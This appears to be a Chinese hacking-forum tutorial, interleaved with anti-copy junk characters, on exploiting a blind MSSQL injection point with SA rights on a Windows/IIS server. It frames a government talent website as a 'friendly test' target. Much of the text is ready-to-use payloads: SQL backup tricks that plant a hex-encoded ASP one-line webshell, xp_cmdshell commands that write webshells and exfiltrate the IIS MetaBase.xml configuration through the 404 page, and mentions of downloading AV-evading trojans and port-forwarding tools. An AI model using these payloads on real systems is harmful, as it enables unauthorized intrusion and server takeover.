sa权限的教程.

admin

————————————————————————九零后安全技术小组 | 90 Security  Team -- 打造90后网安精英团队  ———————————————————————————————
6 K2 W8 f9 \2 r- m  t

# k( _) a/ _4 g                                                             欢迎高手访问指导，欢迎新手朋友交流学习。
$ X% @! o4 g2 j, f) W* i
                                                                 
                                                                 
0 t/ i3 G+ n4 `8 R. Q                                                                  论坛： http://www.90team.net/
% ]3 ]5 M- M6 s3 W  j1 Y
. o. v: U- c, c8 D
; [2 [! H3 t7 Z; j; n" D7 I
; m/ {  ~# s/ U+ M友情检测国家人才网
" J- u4 S  b: v, }) |) {
8 a2 B9 P. v- d  D3 D# H
内容：MSSQL注入SA权限不显错模式下的入侵
' h3 p4 L/ @) r: U: ^
- a6 ^# b9 b& n. Z
! x8 P& {% G: G6 k5 B3 Z# q/ s: J4 T一般新手扫到不显错的SA（systemadmin）的注入点时，虽然工具能猜表列目录但还是很麻烦有的人就直接放弃了，今天我给大家演示下如何利用。方法很简单大家看操作。

我这里使用的是 火狐的插件提交参数。跟在浏览器里直接提交一样。
- [2 ?/ t) ?( X+ ?; y2 H

这里的主机环境：MSSQL+JSP 权限为不显错的SA，支持多行执行 xp_cmdshell存活 服务器处于内网，WEB和数据库在同一台服务器上。注意这里服务器操作系统是windows2003，IIS，404页面的默认路径是 C:\Windows\Help\iisHelp\common\404b.htm。

思路：

首先：
; d0 A/ K9 D1 q  H  A( G
通过XP_CMDSHELL 执行命令再将执行结果指向IIS的404页面，然后访问WEB站点的一个不存在的目录得到命令执行结果，刺探服务器信息。
7 q/ b$ d* l( X
1.日志备份获得Webshell
6 }: N* R" ^  t7 N  j. ]
2.数据库差异备份获得Webshell

4.直接下载免杀远控木马。
4 k5 ?. r2 O5 v: n& b
5.直接下载LCX将服务器端口转发出来

6.通过XP_CMDSHELL 执行命令读取iis配置文件（C:\Windows\system32\inetsrv\MetaBase.xml ）分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL上传LCX将服务器转发出来。


8 R0 ^, Z4 W# y4 o( J6 [: B, M
在这里我就不浪费大家时间了，我已经测试过  日志备份和 数据库差异备份 都没有成功 我就不演示了。  直接下载免杀木马。。这个也不用演示了。 直接在注入点后写入一个 DOWN 的VBS脚本下载就行了，

我直接演示后面一个方法
3 g  W" ~7 l5 ]( L+ y
& X, t: a" W+ L3 L$ V
分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL
, ~/ J8 N# I9 B
- ~5 J5 H4 _! m& s

$ J( J6 p5 T% [* o9 E- V; G* C% v) \
◆日志备份：


1. 进行初始备份
% Y; m& Q0 \: N, H8 D3 z; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<e:\wwwroot\m.asp>' With Init--
. j% X& f0 O! B( t2 u+ W
. Q/ L& O. A) d( F7 u2. 插入数据
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--

0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
6 n9 Z6 x) \# N! a- ]; \& M  
3. 备份并获得文件，删除临时表
;Backup Log <数据库名> To Disk = '<e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE--
  p6 {: L* `* m
# G% D7 J7 x' M) h

◆数据库差异备份

（1. 进行差异备份准备工作

0 I5 X7 X) K7 d4 j2 V& Z;Declare @a Sysname;Set @a=db_name();Declare @file VarChar(400);Set @file=<0x633A5C746573742E617370>;Drop Table ttt Create Table ttt(c Image) Backup Database @a To Disk=@file--

; Q7 |' D; Y2 Z* a# M上面的 0x633A5C746573742E617370  是 c:\test.asp 路径转换后的16进制编码

2 Y7 [# W7 r- w& _! {* _
, p7 s( b& m) G9 r（2. 将数据写入到数据库
. M3 G& ^3 E) T% {;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--

* s) Y3 u; e  e9 ]- L$ `) s0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
1 ]* ?# w* m9 _* h
3. 备份数据库并清理临时文件
# M, e5 m1 [% ?" @& r
;Declare @b SysName;Set @b=db_name();Declare @file1 VarChar(400);Set @file1=<0x633A5C746573742E617370>;Backup Database @b To Disk=@file1 With Differential,Format;Drop Table ttt;--
, J# ~( U' G3 W1 j% Q( |# ~
% l3 i1 A) x) G( {0 M3 U0x633A5C746573742E617370  为 c:\test.asp  删除临时文件


( r$ G6 r3 ~! b( T) p
用^转义字符来写ASP(一句话木马)文件的方法:   
9 e! o( a& f" V+ l9 I
1.注入点后执行;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("90"^)^</script^> >c:\mu.asp';--

8 K. X* c; z& R  E$ _1 U4 u2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp

读取IIS配置信息获取web路径

0 m% q9 k* Y5 r4 ^6 t2 H& l& q     
% F' D2 z* Z4 _# d# k& `. @8 \     注入点后面执行   ;exec master..xp_cmdshell 'copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm'--
4 F9 d" a3 M4 g$ v4 B/ _9 U& {
执行命令
     
8 E* K3 [* F9 x, g     注入点后面执行   ;exec master..xp_cmdshell 'ver >C:\Windows\Help\iisHelp\common\404b.htm'--

- I6 m6 Y% e! z2 h2 Z. |+ ?

( Q! r5 K1 n! q
+ E3 H& k$ g* E9 I
4 i, W; |9 U) m/ X2 c; `




, u7 f: t( E, }# j3 C% A% \6 i- O  O


4 B4 s0 d9 o+ o$ m$ _
' d, n8 }* z: T% V9 ?
- Z6 T% V& [2 T1 y, J. n- F
2 W2 W( d, z  k4 y& H+ \, o  @







( H" @. S. m1 Z, n' D6 j



+ o0 h8 C3 G8 g. D& a0 r% U
3 V% r& |* X2 M. P5 V, H
, \: `( W: f4 @* @& F
% Z! V1 S8 f" G* Z4 ?

2 |! t$ _6 R8 Y0 i. o2 Q4 L6 B1 N' }





0 T' n+ m* ]# V  j$ Y$ k
& j; z1 X8 e2 [1 A
( V. ?" H& ]5 j8 D- |9 ^4 Z
% D9 |( Y& K+ o% m7 a6 r



( _% H% |5 o! @
5 J% L6 X; J" h! w& m